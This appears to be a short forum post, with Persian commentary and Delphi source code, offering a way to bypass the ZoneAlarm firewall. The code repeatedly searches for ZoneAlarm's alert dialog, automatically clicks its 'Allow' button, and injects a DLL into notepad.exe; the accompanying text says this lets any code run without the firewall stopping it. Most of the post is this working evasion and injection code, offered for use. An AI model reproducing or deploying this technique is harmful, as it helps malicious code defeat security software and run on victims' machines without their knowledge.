Bypass Zone Alarm Last Version+Src

[veyskarami]

کد:

//Coded By Arash Veyskarami

procedure DisZone;
var
ZoneHandle:Hwnd;
begin
while true do
begin
ZoneHandle:=FindWindow('ZPUIWin','Alert');
ZoneHandle:=FindWindowEx(ZoneHandle,0,'ZPUIWin',nil);
ZoneHandle:=FindWindowEx(ZoneHandle,0,'Button','Allow');
if ZoneHandle > 0 then
begin
PostMessage(ZoneHandle,BM_CLICK,0,0);
Break;
end;
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
Tid:Dword;
begin
CreateThread(nil,0,@DisZone,nil,0,Tid);
InjectDll('c:\test.dll',NameToPID('notepad.exe'));
end;

سلام
با کد فوق میتونید زون الارم (آخرین ورژن) رو بایپس کنید و هر کدی که خواستید اجرا کنید بدون اینکه جلوی کار شما رو بگیره
فقط لازمه پروسیجر بالا رو قبل از اجرای کد قرار بدید تا زون آلارم خفه بشه.